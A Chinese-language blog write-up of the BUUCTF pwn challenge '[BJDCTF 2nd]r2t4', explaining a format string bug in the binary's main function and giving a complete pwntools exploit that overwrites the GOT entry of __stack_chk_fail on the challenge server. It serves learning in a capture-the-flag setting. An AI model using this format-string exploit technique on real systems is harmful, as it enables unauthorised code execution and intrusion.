CTF

CTF-Pwn-[BJDCTF 2nd]r2t4

博客说明

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

CTP平台

网址

https://buuoj.cn/challenges

题目

Pwn类,[BJDCTF 2nd]r2t4

image-20200506132351011

下载题目的文件

r2t4

思路

使用file命令查看,发现是64位的文件,使用ida64位打开

image-20200506132647249

进入主函数,使用F5反编译后得到伪代码,结果f5按不出来

image-20200506133620033

1int __cdecl main(int argc, const char **argv, const char **envp) 2{ 3 char buf; // [rsp+0h] [rbp-30h] 4 unsigned __int64 v5; // [rsp+28h] [rbp-8h] 5 6 v5 = __readfsqword(0x28u); 7 read(0, &buf, 0x38uLL); 8 printf(&buf, &buf); 9 return 0; 10}

看一看这个main方法,感觉问题要出现在这个&buf身上,看一下整体关联

image-20200506134744646

发现有个函数___stack_chk_fail,想到了格式化字符串漏洞

复写got表中的__stack_chk_fail地址

1elf.got['__stack_chk_fail'] 2 3 4payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)

EXP

Python3

1from pwn import * 2 3context(arch='amd64',os='linux',word_size='64') 4 5p = remote("node3.buuoj.cn",28242) 6elf = ELF('./r2t4') 7__stack_chk_fail = elf.got['__stack_chk_fail'] 8 9payload = b"%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail) 10p.sendline(payload) 11p.interactive()

测试

cd然后我们测试运行

python3 r2t4.py

image-20200506135928107

flag就找到了

感谢

BUUCTF

以及勤劳的自己

点赞
收藏

评论区

加载中...

相关推荐

MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1

文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s

Oracle 分组与拼接字符串同时使用

SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(

MySQL部分从库上面因为大量的临时表tmp_table造成慢查询

背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_

皕杰报表之UUID

​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为

手写Java HashMap源码

HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22

2020年前端实用代码段,为你的工作保驾护航

有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )

CTF - HelloWorld